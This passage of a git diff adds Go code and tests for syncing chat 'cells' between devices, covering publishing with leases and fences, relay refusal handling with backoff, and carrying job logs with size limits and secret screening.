r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a": "edited", "b": "two"} + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } +} + +// A fetcher without a directory — the rotation path — runs the want loop +// exactly as before plans existed. +func TestFetchWithoutADirectoryLoops(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one"}) + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, map[string]string{"a": "one"}) { + t.Fatalf("materialized %v", got) + } +} + +// A publish records the frames it uploaded, and the next publish extends the +// list rather than replacing it. +func TestPublishRecordsAndExtendsThePlan(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "one"}) + first := r.head(cellID).Frames + if len(first) != r.puts() { + t.Fatalf("plan = %d frames, want the %d put", len(first), r.puts()) + } + head := r.seal(map[string]string{"a": "one", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + plan := r.head(cellID).Frames + if len(plan) <= len(first) { + t.Fatalf("plan after two publishes = %d frames, want more than %d", len(plan), len(first)) + } + for _, id := range first { + found := false + for _, got := range plan { + if got == id { + found = true + } + } + if !found { + t.Fatalf("plan %v lost the first publish's frame %s", plan, id) + } + } +} diff --git a/internal/cellsync/publish.go b/internal/cellsync/publish.go new file mode 100644 index 0000000000..6366879717 --- /dev/null +++ b/internal/cellsync/publish.go @@ -0,0 +1,193 @@ +package cellsync + +import ( + "context" + "errors" + "fmt" + "os" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// ErrSuperseded means another device took the lease while this one was +// publishing: the head did not move and the caller must branch (L7, L12). +var ErrSuperseded = fmt.Errorf("cellsync: another device continued this chat: %w", directory.ErrFenceStale) + +// Publisher makes turns durable: objects into the store first, the head in the +// directory last. Dir is already bound to this device. +type Publisher struct { + Engine Engine + Store blobstore.Store + Dir directory.Client +} + +// Driving is the state of one cell this device is driving. +type Driving struct { + Cell cell.Cell + Fence uint64 // 0 = no cell record yet + Head string // last durable head, "" before the first publish + // Frames is the plan (contract §22.2): the frames this device says hold the + // current head's closure, replaced at the record on every publish. It may + // name any subset of them; takes treat it as a hint, never as the truth. + Frames []string + // Remote is the directory id being driven when it is not Cell.ID: after a + // branch the local folder is unchanged but the directory record is new. + Remote string +} + +// ID is the directory id of the cell being driven. +func (d Driving) ID() string { + if d.Remote != "" { + return d.Remote + } + return d.Cell.ID +} + +// PublishInfo is what a publish tells the directory about the cell. +type PublishInfo struct { + Class, Title string + Size uint64 + Pending uint32 + Keys map[string]map[string]string +} + +// Publish uploads what head needs and then moves the directory head. Any store +// or directory error leaves d unchanged, and the head never moves before every +// object it names is in the store. +func (p *Publisher) Publish(ctx context.Context, d *Driving, head string, in PublishInfo) error { + _, err := p.publish(ctx, d, head, in) + return err +} + +// publish is Publish that also reports what was uploaded. +func (p *Publisher) publish(ctx context.Context, d *Driving, head string, in PublishInfo) (Export, error) { + ex, frames, err := p.uploadPlan(ctx, d.Cell, head) + if err != nil { + return Export{}, err + } + frames = unionFrames(d.Frames, frames) + fence, err := p.advance(ctx, *d, head, in, frames) + if err != nil { + return ex, err + } + d.Fence, d.Head, d.Frames = fence, head, frames + return ex, nil +} + +// unionFrames joins the plan so far with this publish's frames, first-seen +// order, no id twice: a frame holds the closure of the head it was uploaded +// for, and every head since still names it. +func unionFrames(plan, uploaded []string) []string { + seen := make(map[string]bool, len(plan)+len(uploaded)) + out := make([]string, 0, len(plan)+len(uploaded)) + for _, id := range append(plan, uploaded...) { + if !seen[id] { + seen[id] = true + out = append(out, id) + } + } + return out +} + +// Upload exports what the store lacks for head, puts every frame, and only +// then records them as published. Objects are content-addressed, so what a +// refused publish uploaded is reused by whatever comes next. +func (p *Publisher) Upload(ctx context.Context, c cell.Cell, head string) (Export, error) { + ex, _, err := p.uploadPlan(ctx, c, head) + return ex, err +} + +// uploadPlan is Upload that also answers the ids of the frames it put, which +// is what the plan for the head names (contract §22.2). Frames skipHeld +// dropped are not named: their ids are whatever earlier upload carried them, +// which this publish does not know, and the take's want loop covers them. +func (p *Publisher) uploadPlan(ctx context.Context, c cell.Cell, head string) (Export, []string, error) { + ex, err := p.Engine.Export(ctx, c, head) + if err != nil { + return Export{}, nil, err + } + ex = p.skipHeld(ctx, c, ex) + ids := make([]string, 0, len(ex.Frames)) + paths := make([]string, len(ex.Frames)) + for i, f := range ex.Frames { + id, err := p.put(ctx, f) + if err != nil { + return Export{}, nil, err + } + ids = append(ids, id) + paths[i] = f.Path + } + if len(paths) == 0 { + return ex, ids, nil + } + return ex, ids, p.Engine.Published(ctx, c, paths) +} + +// put stores one frame and answers the id the store named it, which is what +// the plan records: the store's own name for the frame, not a local guess. +func (p *Publisher) put(ctx context.Context, f FrameFile) (string, error) { + frame, err := os.ReadFile(f.Path) + if err != nil { + return "", err + } + return p.Store.PutFrame(ctx, frame) +} + +// advance moves the directory head and answers the fence now held. +func (p *Publisher) advance(ctx context.Context, d Driving, head string, in PublishInfo, frames []string) (uint64, error) { + if d.Fence != 0 { + return p.move(ctx, d, head, in, frames) + } + fence, err := p.create(ctx, d, head, in, frames) + if errors.Is(err, directory.ErrExists) { + return p.resume(ctx, d, head, in, frames, err) + } + return fence, err +} + +// move publishes head on the lease d already holds. +func (p *Publisher) move(ctx context.Context, d Driving, head string, in PublishInfo, frames []string) (uint64, error) { + _, err := p.Dir.Publish(ctx, d.ID(), directory.Publish{ + Fence: d.Fence, OldHead: d.Head, Head: head, + Size: in.Size, Class: in.Class, Title: in.Title, Pending: in.Pending, + Frames: frames, + }) + return d.Fence, refusal(err) +} + +// resume finishes a create that already happened. A create the relay committed +// but whose answer never arrived (the drive was closed while it was in flight, +// or the connection dropped) leaves this device without a fence for a cell it +// holds, and creating again is refused as "exists" for good. Taking the lease +// back names the fence and the head the relay has, and the publish carries on +// from there. A cell somebody else holds stays the refusal it was: created is +// the original error. +func (p *Publisher) resume(ctx context.Context, d Driving, head string, in PublishInfo, frames []string, created error) (uint64, error) { + v, err := p.Dir.Acquire(ctx, d.ID(), directory.AcquireOpts{}) + if err != nil { + return 0, created + } + d.Fence, d.Head = v.Cell.Lease.Fence, v.Cell.Head + if d.Head == head { + return d.Fence, nil + } + return p.move(ctx, d, head, in, frames) +} + +func (p *Publisher) create(ctx context.Context, d Driving, head string, in PublishInfo, frames []string) (uint64, error) { + v, err := p.Dir.Create(ctx, d.ID(), directory.CellInit{ + Head: head, Class: in.Class, Title: in.Title, Size: in.Size, Keys: in.Keys, + Frames: frames, + }) + return v.Cell.Lease.Fence, err +} + +// refusal names a stale fence as the person-facing ErrSuperseded. +func refusal(err error) error { + if errors.Is(err, directory.ErrFenceStale) { + return ErrSuperseded + } + return err +} diff --git a/internal/cellsync/publish_test.go b/internal/cellsync/publish_test.go new file mode 100644 index 0000000000..03461cce5c --- /dev/null +++ b/internal/cellsync/publish_test.go @@ -0,0 +1,226 @@ +package cellsync + +import ( + "context" + "errors" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/directory" +) + +func TestPublishCreatesThenAdvances(t *testing.T) { + r := newRig(t) + ctx := context.Background() + h1 := r.publishFirst(map[string]string{"a": "one"}) + if got := r.head(cellID); got.Head != h1 || got.Lease.Fence != 1 || r.drv.Fence != 1 || r.drv.Head != h1 { + t.Fatalf("after create: cell %+v, driving %+v", got, r.drv) + } + before := r.puts() + h2 := r.seal(map[string]string{"a": "one", "b": "two"}) + if err := r.pub.Publish(ctx, r.drv, h2, r.info()); err != nil { + t.Fatal(err) + } + if got := r.head(cellID); got.Head != h2 || r.drv.Head != h2 { + t.Fatalf("after advance: cell %+v, driving %+v", got, r.drv) + } + if r.puts() != before+1 { + t.Fatalf("second publish sent %d frames, want 1", r.puts()-before) + } +} + +func TestPartialUploadNeverMovesHead(t *testing.T) { + r := newRig(t) + ctx := context.Background() + h1 := r.publishFirst(map[string]string{"a": "one"}) + durable := r.head(cellID).DurableAt + + r.engA.MaxObjects = 1 + h2 := r.seal(map[string]string{"a": "one", "b": "two", "c": "three"}) + r.mem.FailAfter(1, blobstore.ErrUnreachable) + if err := r.pub.Publish(ctx, r.drv, h2, r.info()); !errors.Is(err, blobstore.ErrUnreachable) { + t.Fatalf("publish = %v, want the store error", err) + } + if got := r.head(cellID); got.Head != h1 || got.DurableAt != durable { + t.Fatalf("head moved after a partial upload: %+v", got) + } + if r.drv.Head != h1 { + t.Fatalf("driving changed on failure: %+v", r.drv) + } + if err := r.pub.Publish(ctx, r.drv, h2, r.info()); err != nil { + t.Fatalf("retry: %v", err) + } + if got := r.head(cellID); got.Head != h2 { + t.Fatalf("retry left head at %s", got.Head) + } +} + +func TestRefusedAfterPartialUploadLeavesNoOrphanHead(t *testing.T) { + r := newRig(t) + ctx := context.Background() + h1 := r.publishFirst(map[string]string{"a": "one"}) + r.engA.MaxObjects = 1 + h2 := r.seal(map[string]string{"a": "one", "b": "two", "c": "three"}) + + r.mem.FailAfter(1, blobstore.ErrUnreachable) // frame 1 lands, frame 2 fails + if err := r.pub.Publish(ctx, r.drv, h2, r.info()); err == nil { + t.Fatal("the partial upload succeeded") + } + r.takeOver() + r.bPublishes(h1) + + err := r.pub.Publish(ctx, r.drv, h2, r.info()) + if !errors.Is(err, ErrSuperseded) { + t.Fatalf("publish = %v, want ErrSuperseded", err) + } + if got := r.head(cellID); got.Head != otherHead || got.Lease.Device != devB { + t.Fatalf("directory after refusal: %+v", got) + } + r.requireHeld(h2) + + sent := r.puts() + id, err := Brancher{Dir: r.dirA, Publisher: r.pub, NewID: r.newID}.Branch(ctx, r.drv, h2, 1, r.info()) + if err != nil { + t.Fatal(err) + } + if _, err := r.pub.Upload(ctx, r.drv.Cell, h2); err != nil || r.puts() != sent { + t.Fatalf("the branch re-sent objects: %d puts, err %v", r.puts()-sent, err) + } + if got := r.head(id); got.Head != h2 || got.ParentCell != cellID { + t.Fatalf("branch %+v", got) + } +} + +// requireHeld fails unless the store holds every object head needs. +func (r *rig) requireHeld(head string) { + r.t.Helper() + rids, err := r.engA.Want(context.Background(), r.cellA, head) + if err != nil || len(rids) != 0 { + r.t.Fatalf("engine is incomplete: %v %v", rids, err) + } + var all []string + for _, op := range r.mem.Log() { + all = append(all, op.RIDs...) + } + have, err := r.mem.Has(context.Background(), all) + if err != nil { + r.t.Fatal(err) + } + for i, ok := range have { + if !ok { + r.t.Fatalf("object %s missing from the store", all[i]) + } + } +} + +func TestPublishSupersededIsErrSuperseded(t *testing.T) { + r := newRig(t) + h1 := r.publishFirst(map[string]string{"a": "one"}) + r.takeOver() + h2 := r.seal(map[string]string{"a": "two"}) + err := r.pub.Publish(context.Background(), r.drv, h2, r.info()) + if !errors.Is(err, ErrSuperseded) || !errors.Is(err, directory.ErrFenceStale) { + t.Fatalf("publish = %v", err) + } + if r.drv.Head != h1 || r.head(cellID).Head != h1 { + t.Fatalf("a superseded publish moved a head: %+v", r.drv) + } +} + +// checkRaceOutcome accepts the two orders the race can end in, and nothing +// else. A publish renews its own lease, so when the owner's publish lands first +// the other device's plain take is refused and the head moved; when the take +// lands first the owner's publish is superseded or had already gone up. +func checkRaceOutcome(t *testing.T, run int, r *rig, h1, h2 string, pubErr, takeErr error) { + t.Helper() + got := r.head(cellID) + if errors.Is(takeErr, directory.ErrLeaseHeld) { + if pubErr != nil || got.Head != h2 || got.Lease.Device != devA { + t.Fatalf("run %d: owner renewed first, yet publish %v left %+v", run, pubErr, got) + } + return + } + if takeErr != nil || got.Lease.Device != devB || got.Lease.Fence != 2 { + t.Fatalf("run %d: B did not end up holding the lease: %v %+v", run, takeErr, got.Lease) + } + if pubErr == nil && got.Head != h2 || pubErr != nil && (!errors.Is(pubErr, ErrSuperseded) || got.Head != h1) { + t.Fatalf("run %d: publish %v left head %s", run, pubErr, got.Head) + } +} + +func TestTwoDevicesRaceAfterLeaseExpiry(t *testing.T) { + for i := 0; i < 40; i++ { + r := newRig(t) + h1 := r.publishFirst(map[string]string{"a": "one"}) + h2 := r.seal(map[string]string{"a": "two"}) + r.clock.Advance(directory.LeaseTTL + time.Second) + + var pubErr, takeErr error + var wg sync.WaitGroup + wg.Add(2) + go func() { defer wg.Done(); pubErr = r.pub.Publish(context.Background(), r.drv, h2, r.info()) }() + go func() { + defer wg.Done() + _, takeErr = r.dir.For(devB).Acquire(context.Background(), cellID, directory.AcquireOpts{}) + }() + wg.Wait() + + checkRaceOutcome(t, i, r, h1, h2, pubErr, takeErr) + } +} + +// A device that took a chat holds objects the relay already has. Publishing a +// small edit on top of them must send the edit alone, not the chat again. +func TestPublishAfterTakeSendsOnlyTheEdit(t *testing.T) { + r := newRig(t) + ctx := context.Background() + big := strings.Repeat("x", 64<<10) + head := r.publishFirst(map[string]string{"big": big}) + + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(ctx, c, head); err != nil { + t.Fatal(err) + } + engB := f.Engine.(*FakeEngine) + edited := engB.Seal(c, map[string]string{"big": big, "note": "edit"}) + + var counters blobstore.Counters + pub := &Publisher{Engine: engB, Store: blobstore.Counting{Inner: r.mem, C: &counters}, Dir: r.dirA} + if _, err := pub.Upload(ctx, c, edited); err != nil { + t.Fatal(err) + } + if got := counters.ObjectsUp.Load(); got != 2 { + t.Fatalf("sent %d objects, want the edit's blob and its snapshot", got) + } + if got := counters.BytesUp.Load(); got >= int64(len(big)) { + t.Fatalf("sent %d bytes, the size of the chat taken (%d) or more", got, len(big)) + } +} + +// A create the relay committed whose answer was lost (the drive was closed +// while it was in flight) must not leave the chat unable to publish: the next +// publish takes the lease it already holds and carries on. +func TestPublishAfterACreateWhoseAnswerWasLost(t *testing.T) { + r := newRig(t) + h1 := r.seal(map[string]string{"a": "one"}) + r.dirA.lose = 1 + if err := r.pub.Publish(context.Background(), r.drv, h1, r.info()); !errors.Is(err, context.Canceled) { + t.Fatalf("first publish = %v, want the lost answer", err) + } + if r.drv.Fence != 0 { + t.Fatalf("a publish with no answer claimed fence %d", r.drv.Fence) + } + if err := r.pub.Publish(context.Background(), r.drv, h1, r.info()); err != nil { + t.Fatalf("publish after the lost answer: %v", err) + } + if got := r.head(cellID); got.Head != h1 || r.drv.Fence != got.Lease.Fence || r.drv.Fence == 0 { + t.Fatalf("cell %+v, driving %+v", got, r.drv) + } + h2 := r.seal(map[string]string{"a": "one", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, h2, r.info()); err != nil { + t.Fatalf("the publish after that: %v", err) + } +} diff --git a/internal/cellsync/refusal.go b/internal/cellsync/refusal.go new file mode 100644 index 0000000000..6b39638104 --- /dev/null +++ b/internal/cellsync/refusal.go @@ -0,0 +1,76 @@ +package cellsync + +import ( + "errors" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// MaxHalt is the longest a wait may be, and how long a halted chat waits: a +// refusal that only a person can cure is not retried, and a Retry-After is +// never trusted past an hour, so a wrong clock on the relay cannot silence sync. +const MaxHalt = time.Hour + +// Refusal is one way the relay says no: the sentinel the wire names it by, the +// one plain sentence the person reads, and how the client carries on. The table +// below is the only place these three meet, so a new refusal is one row and no +// call site learns of it. +type Refusal struct { + Is error // the sentinel the wire returns + Say func(error) string // what the person is told; it may read the refusal, for a number the relay named + Quiet time.Duration // how long the refusal must last before the person hears of it + Flat bool // retry every interval: only time cures it, so backing off adds nothing + Halts bool // retrying is pointless until something changes, so stop until Freed or close +} + +// refusals is listed from most to least final. A refusal that time cures +// within minutes stays quiet for a few of them, because a burst that ended +// before anyone could act is noise; one that only the person can cure is +// said at once. +var refusals = []Refusal{ + {Is: blobstore.ErrFull, Say: fullLine, Halts: true}, + {Is: wireauth.ErrRevoked, Say: said(chatlist.Removed), Halts: true}, + {Is: wireauth.ErrGone, Say: said(chatlist.ReplacedGone), Halts: true}, + {Is: wireauth.ErrRotated, Say: said(chatlist.Replaced), Halts: true}, + {Is: wireauth.ErrSkew, Say: said(chatlist.ClockOff), Flat: true}, + {Is: wireauth.ErrTooManyIdentities, Say: tooManyLine}, + {Is: wireauth.ErrRateLimited, Say: said(chatlist.SlowDown), Quiet: 3 * time.Minute}, +} + +// said is the Say of a refusal whose sentence never varies. +func said(line string) func(error) string { return func(error) string { return line } } + +// fullLine names the ceiling the relay told us, when it told us one. +func fullLine(err error) string { return chatlist.RelayFull(blobstore.LimitOf(err)) } + +// tooManyLine says when the relay's day for this network frees up, when it told us. +func tooManyLine(err error) string { return chatlist.TooManyNewIn(wireauth.After(err)) } + +// RefusalOf finds the row err is, and false for a failure that is not a +// refusal (an unreachable relay, say), which is retried on the plain backoff +// and never shown. +func RefusalOf(err error) (Refusal, bool) { + for _, r := range refusals { + if errors.Is(err, r.Is) { + return r, true + } + } + return Refusal{}, false +} + +// next is the wait after a failed flush that followed a wait of prev. The relay's +// own Retry-After is a floor on any wait, and a halt outranks every other. +func (r Refusal) next(prev, interval time.Duration, err error) time.Duration { + wait := min(2*max(prev, interval), max(MaxBackoff, interval)) + if r.Flat { + wait = interval + } + wait = max(wait, min(wireauth.After(err), MaxHalt)) + if r.Halts { + wait = MaxHalt + } + return wait +} diff --git a/internal/cellsync/refusal_test.go b/internal/cellsync/refusal_test.go new file mode 100644 index 0000000000..63ce9bb91f --- /dev/null +++ b/internal/cellsync/refusal_test.go @@ -0,0 +1,164 @@ +package cellsync + +import ( + "context" + "net/http" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// refused is a batcher whose next flush is refused with err, and the lines the +// person has been told so far. +func refused(t *testing.T, r *rig, err error) (*Batcher, *[]string) { + t.Helper() + b := r.batcher() + b.Now = r.clock.Now + var told []string + b.OnError = func(e error) { + row, _ := RefusalOf(e) + told = append(told, row.Say(e)) + } + r.publishFirst(map[string]string{"a": "0"}) + note(b, r.seal(map[string]string{"a": "1"})) + r.store.set(err, nil) + return b, &told +} + +func waitOf(t *testing.T, err error) time.Duration { + t.Helper() + r := newRig(t) + b, _ := refused(t, r, err) + return b.flush(context.Background()) +} + +func TestAFullRelayIsToldAtOnceAndNotRetried(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, blobstore.ErrFull) + if d := b.flush(context.Background()); d != MaxHalt { + t.Fatalf("wait after a full relay = %v, want a halt of %v", d, MaxHalt) + } + b.flush(context.Background()) + if len(*told) != 1 || (*told)[0] != chatlist.RelayFull(0) { + t.Fatalf("told %q, want the full sentence once", *told) + } +} + +func TestFreedEndsAHaltAndSyncResumes(t *testing.T) { + r := newRig(t) + b, _ := refused(t, r, blobstore.ErrFull) + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + // A turn is already noted, so the loop's first flush is refused at once and it + // halts. Waiting for that halt, not for a count of sleepers, is what is + // deterministic: the heartbeat's own sleep may or may not be registered yet. + sl.settleOn(MaxHalt) + + h := r.seal(map[string]string{"a": "2"}) + note(b, h) + r.store.set(nil, nil) + b.Freed() + eventually(t, "the newest head to be sent", func() bool { return headIfAny(r) == h }) + if got := r.head(cellID).Head; got != h || b.Pending() != 0 { + t.Fatalf("after Freed: head %s, %d pending; want the newest head sent", got, b.Pending()) + } + cancel() + <-done +} + +func TestARateLimitStaysQuietUntilItLastsAFewMinutes(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, wireauth.ErrRateLimited) + b.flush(context.Background()) + r.clock.Advance(2 * time.Minute) + b.flush(context.Background()) + if len(*told) != 0 { + t.Fatalf("told %q within two minutes of a rate limit", *told) + } + r.clock.Advance(2 * time.Minute) + b.flush(context.Background()) + b.flush(context.Background()) + if len(*told) != 1 || (*told)[0] != chatlist.SlowDown { + t.Fatalf("told %q after four minutes, want the slow-down sentence once", *told) + } +} + +func TestARateLimitIsRetriedOnTheWaitTheRelayNamed(t *testing.T) { + err := wireauth.Wait(wireauth.ErrRateLimited, http.Header{"Retry-After": {"120"}}) + if d := waitOf(t, err); d != 120*time.Second { + t.Fatalf("wait = %v, want the relay's 120s", d) + } + if d := waitOf(t, wireauth.ErrRateLimited); d != 10*time.Second { + t.Fatalf("wait without a Retry-After = %v, want the doubled interval", d) + } +} + +func TestTooManyIdentitiesIsToldAtOnceAndWaitsTheRelaysWord(t *testing.T) { + r := newRig(t) + err := wireauth.Wait(wireauth.ErrTooManyIdentities, http.Header{"Retry-After": {"10800"}}) + b, told := refused(t, r, err) + if d := b.flush(context.Background()); d != time.Hour { + t.Fatalf("wait = %v, want the hour a wait is capped at", d) + } + want := "too many new identities from this network today — try again in about 3 hours" + if len(*told) != 1 || (*told)[0] != want { + t.Fatalf("told %q, want %q: the relay's real wait, not the capped one", *told, want) + } +} + +func TestARevokedComputerIsToldAtOnceAndNotRetried(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, wireauth.ErrRevoked) + if d := b.flush(context.Background()); d != MaxHalt { + t.Fatalf("wait after a revoked refusal = %v, want a halt", d) + } + if len(*told) != 1 || (*told)[0] != chatlist.Removed { + t.Fatalf("told %q, want the stopped-computer sentence", *told) + } +} + +func TestAnUnreachableRelayIsNotARefusal(t *testing.T) { + if _, ok := RefusalOf(blobstore.ErrUnreachable); ok { + t.Fatal("an unreachable relay was mapped to a person-facing sentence") + } +} + +func TestEveryRefusalHasOneSentenceAndOneSentinel(t *testing.T) { + lines := map[string]bool{} + for _, r := range refusals { + line := r.Say(r.Is) + if line == "" || lines[line] { + t.Errorf("refusal %v has an empty or repeated sentence %q", r.Is, line) + } + lines[line] = true + } +} + +func TestARecoveredRelayMakesTheNextRefusalNews(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, blobstore.ErrFull) + b.flush(context.Background()) + r.store.set(nil, nil) + b.flush(context.Background()) + r.store.set(blobstore.ErrFull, nil) + note(b, r.seal(map[string]string{"a": "2"})) + b.flush(context.Background()) + if len(*told) != 2 { + t.Fatalf("told %q, want the full sentence again after a recovery", *told) + } +} + +func TestAFullRelayNamesItsCeilingWhenItToldUsOne(t *testing.T) { + r := newRig(t) + b, told := refused(t, r, blobstore.Capped(blobstore.ErrFull, 5<<30)) + b.flush(context.Background()) + if len(*told) != 1 || (*told)[0] != chatlist.RelayFull(5<<30) { + t.Fatalf("told %q, want the full sentence naming 5 GiB", *told) + } +} diff --git a/internal/chatfiles/chatfiles.go b/internal/chatfiles/chatfiles.go new file mode 100644 index 0000000000..31c2b1a186 --- /dev/null +++ b/internal/chatfiles/chatfiles.go @@ -0,0 +1,204 @@ +// Package chatfiles carries the files a chat owns that sit beside its cell and +// that its own transcript names by path: the logs of background jobs, the full +// output a long tool result was cut to. +// +// The sealed tree holds the workspace and the cell's .cell/ folder, and none of +// these live in either, so a chat that moved arrived with messages saying "log +// at .../logs/jobs/2.log" and no such file. They belong to the chat (it made +// them and its messages cite them), so they travel with it, by the same road as +// a task's copy: mirrored into .cell/ at every seal ([Carry.Compose]) and put +// back beside the chat on the other machine ([Carry.Restore]). +// +// WHAT STAYS BEHIND, AND IS SAID SO. A file over [MaxFileBytes], a file past +// the [MaxTotalBytes] a chat carries in all (the oldest go first) and a file +// that looks like it holds a secret are not carried. Each is named in the +// inventory's withheld list with the reason, so the receiving agent is told it +// stayed on the other machine instead of finding a path that opens nothing. +// +// WHAT IS NOT HERE. Derived files (card.json, plandb.db, meta.json) are made +// again on open, and the task copies under trees/ have their own carrier +// (internal/taskcopy). +package chatfiles + +import ( + "fmt" + "io/fs" + "os" + "path/filepath" + "slices" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/mirror" +) + +const ( + // MaxFileBytes is the largest file a chat carries. A job log that grew past + // it is named as left behind rather than sent, because one runaway log must + // not make every seal and every take heavy. + MaxFileBytes = 1 << 20 + // MaxTotalBytes is the most a chat carries in all, newest files first. + MaxTotalBytes = 16 << 20 + + // CarriedPath is where a seal keeps the files, under the same relative + // paths they have beside the chat. + CarriedPath = cell.StateDir + "/files" +) + +// roots are the folders beside a chat that hold what its messages name. +// +// The journals of the chat's tasks are not here: they are truth and live in +// .cell/tasks, which the seal carries whole with the cell (plandb.TaskDir). +// Carrying them again from beside the chat would put a second copy on the +// other machine and a second answer to where a journal is. +var roots = []string{"logs/jobs", "logs/stubs"} + +// formerRoots are folders an earlier seal also carried from beside the chat. +// Their entries in an old inventory are still ours to clear. +var formerRoots = []string{"tasks"} + +// OwnsWithheld reports whether a record entry names one of these files, which +// are the entries this package writes and the seal's other steps leave alone. +func OwnsWithheld(recordPath string) bool { + return slices.ContainsFunc(slices.Concat(formerRoots, roots), func(r string) bool { return strings.HasPrefix(recordPath, r+"/") }) +} + +// Carry is the mechanism: [Carry.Compose] on the seal side, [Carry.Restore] on +// the take side. It needs nothing, so the zero value works. +type Carry struct{} + +// file is one candidate: where it is, how big, and when it last changed. +type file struct { + rel string + info fs.FileInfo +} + +// Compose mirrors the chat's files into the cell, within the limits, and +// records in the inventory what it left out and where the files were. +func (Carry) Compose(c cell.Cell) error { + carried, withheld := within(candidates(c.Root)) + rels := relsOf(carried) + wrote, err := mirror.Sync(c.Root, filepath.Join(c.Root, CarriedPath), rels) + if err != nil { + return fmt.Errorf("carry chat files: %w", err) + } + kept, secret := screen(c, rels, wrote) + withheld = append(withheld, secret...) + return note(c, len(kept) > 0, withheld) +} + +// candidates is every file under the roots that is evidence and not the +// machine's own bookkeeping, newest first. +func candidates(root string) []file { + var out []file + for _, r := range roots { + _ = filepath.WalkDir(filepath.Join(root, filepath.FromSlash(r)), func(p string, d fs.DirEntry, err error) error { + if err != nil || !d.Type().IsRegular() || bookkeeping(d.Name()) { + return nil + } + if info, err := d.Info(); err == nil { + rel, _ := filepath.Rel(root, p) + out = append(out, file{filepath.ToSlash(rel), info}) + } + return nil + }) + } + slices.SortFunc(out, func(a, b file) int { return b.info.ModTime().Compare(a.info.ModTime()) }) + return out +} + +// bookkeeping is the files a job registry keeps beside the logs it prunes: they +// say nothing about the work and mean nothing on another machine. +func bookkeeping(name string) bool { + return strings.HasPrefix(name, ".retention") || strings.HasSuffix(name, ".retention") +} + +// within splits the candidates into the files that fit the limits and the +// withheld entries naming those that do not. +func within(all []file) (carried []file, left []inventory.Withheld) { + total := int64(0) + for _, f := range all { + switch { + case f.info.Size() > MaxFileBytes: + left = append(left, stayed(f.rel, fmt.Sprintf("over the %d MiB carry limit for one file", MaxFileBytes>>20))) + case total+f.info.Size() > MaxTotalBytes: + left = append(left, stayed(f.rel, fmt.Sprintf("past the %d MiB a chat carries in all", MaxTotalBytes>>20))) + default: + total += f.info.Size() + carried = append(carried, f) + } + } + return carried, left +} + +func stayed(rel, why string) inventory.Withheld { + return inventory.Withheld{Path: rel, Reason: why + "; it stayed on the machine that made it"} +} + +func relsOf(files []file) []string { + out := make([]string, len(files)) + for i, f := range files { + out[i] = f.rel + } + return out +} + +// screen takes out of the carried copy every file the secret scanner holds +// back, by the same scanner the seal uses on the workspace. Only files just +// written are read: a file the mirror left alone was judged when it was +// written. It answers the files still carried and the entries for the others. +func screen(c cell.Cell, rels, wrote []string) (kept []string, left []inventory.Withheld) { + held := map[string]bool{} + for _, f := range (keys.Scanner{}).Paths(c.Root, wrote) { + held[f.Path] = true + _ = os.Remove(filepath.Join(c.Root, CarriedPath, filepath.FromSlash(f.Path))) + left = append(left, stayed(f.Path, "it looks like it holds a secret")) + } + for _, rel := range rels { + if !held[rel] { + kept = append(kept, rel) + } + } + return kept, left +} + +// note replaces the inventory's entries for these files, and names the chat's +// folder when any file was carried so the other machine can say where they are. +func note(c cell.Cell, carried bool, withheld []inventory.Withheld) error { + dir := "" + if carried { + dir = c.Root + } + return inventory.Record(c.Root, func(inv *inventory.Inventory) { + inv.ChatDir = dir + inv.SetWithheld(OwnsWithheld, withheld) + }) +} + +// Restore puts the carried files back beside the chat, over what is there: the +// carried copy is the newest the chat has, and a file only this machine has is +// left alone. It answers how many it wrote. +func (Carry) Restore(c cell.Cell) (int, error) { + from := filepath.Join(c.Root, CarriedPath) + n := 0 + err := filepath.WalkDir(from, func(p string, d fs.DirEntry, err error) error { + if err != nil || !d.Type().IsRegular() { + return err + } + rel, _ := filepath.Rel(from, p) + if !filepath.IsLocal(rel) { + return fmt.Errorf("carried path %q leaves the chat folder", rel) + } + changed, err := mirror.CopyIfChanged(p, filepath.Join(c.Root, rel)) + if changed { + n++ + } + return err + }) + if os.IsNotExist(err) { + return 0, nil + } + return n, err +} diff --git a/internal/chatfiles/chatfiles_test.go b/internal/chatfiles/chatfiles_test.go new file mode 100644 index 0000000000..efaa762ade --- /dev/null +++ b/internal/chatfiles/chatfiles_test.go @@ -0,0 +1,166 @@ +package chatfiles + +import ( + "bytes" + "os" + osexec "os/exec" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/inventory" +) + +func chat(t *testing.T) cell.Cell { + t.Helper() + root := filepath.Join(t.TempDir(), "chat") + if err := os.MkdirAll(filepath.Join(root, cell.StateDir), 0o700); err != nil { + t.Fatal(err) + } + return cell.Cell{ID: "c", Root: root} +} + +func put(t *testing.T, 